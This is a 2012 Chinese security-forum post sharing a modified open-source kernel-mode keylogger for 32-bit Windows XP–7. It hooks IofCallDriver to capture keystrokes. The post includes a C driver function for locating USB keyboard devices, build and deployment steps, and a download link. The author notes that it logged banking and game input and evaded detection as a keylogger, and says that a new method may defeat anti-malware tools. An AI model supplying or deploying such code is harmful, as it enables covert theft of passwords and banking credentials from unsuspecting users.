标 题: 【分享】发个重口味的,ring0 keylog
作 者: layerfsd
时 间: 2012-10-21,21:26:51
链 接: http://bbs.pediy.com/showthread.php?t=157560

首先这个不是原创,这个是09年俄罗斯的一个组织开源过的一个代码,我略加改造而已,但貌似有的人不多。但找不到出生地了,而这个也被我改得面目全非了,原来的版权信息都没了,所以声明不了原作者的版权,抱歉了。
其次这个是能在xp--win7 32位下用的,keylog的那几种方式应该都玩烂了,这个貌似还没烂,这个是通过hook IofCallDriver来记录键盘信息的。貌似还没被报是“keyloger”。

之所以说重口味是因为以前测试的时候貌似是无所不记的,什么网银,什么游戏,什么什么什么。。。
不过这个改完了基本就废弃了,因为有bug,且对64不兼容,所以后来换了一种方式来搞。
bug的话我只能记得有俩;
1、ps2键盘的小键盘好像是记录有问题的,不过我简单处理了一下,参考client的代码
2、不能记录usb键盘的,不过这个貌似不是大问题,xkeylogger.cpp里的一个函数

代码:

GetKbdClassDevices

换成如下的,应该就可以了,但历史太久远,且我没保留这种临时代码的习惯,有需要可自己改改。

代码:

static ULONG GetKbdClassDevices()
{
  UNICODE_STRING kbd;
  WCHAR tmp[256];
  PDEVICE_OBJECT KbdDeviceObject,FoundKbdDeviceObject;
  NTSTATUS Status;
  PFILE_OBJECT FileObject;
  ULONG iClass;

  RtlInitUnicodeString(&kbd,L"Driverhidusb");
  Status = IoGetDeviceObjectPointer(&kbd,FILE_READ_ATTRIBUTES,&FileObject,&KbdDeviceObject);
  if (NT_SUCCESS(Status))
  {
    if (FoundKbdDeviceObject = FindReadKbdClass(KbdDeviceObject))
    {
      KdPrint(("[XkeyLogger] : found usb n"));

      gKeyboardClassDevices[0] = FoundKbdDeviceObject;
    }
  }
  return 0;
}

大概就这样了,使用方法是先用wdk7600编译出来“driver”下的驱动,然后在“client”目录下生成应用层通讯代码,最后把把生成的drv.sys拷贝到编译出来那个exe的目录。生成的keylog文件记录在programfiles下的log文件。

这份代码旨在老调重弹,重温一下键盘记录的一种方式与驱动与应用层通讯的一种方式。换个方式,很多Anti也许就失效了。

下载地址:    keylog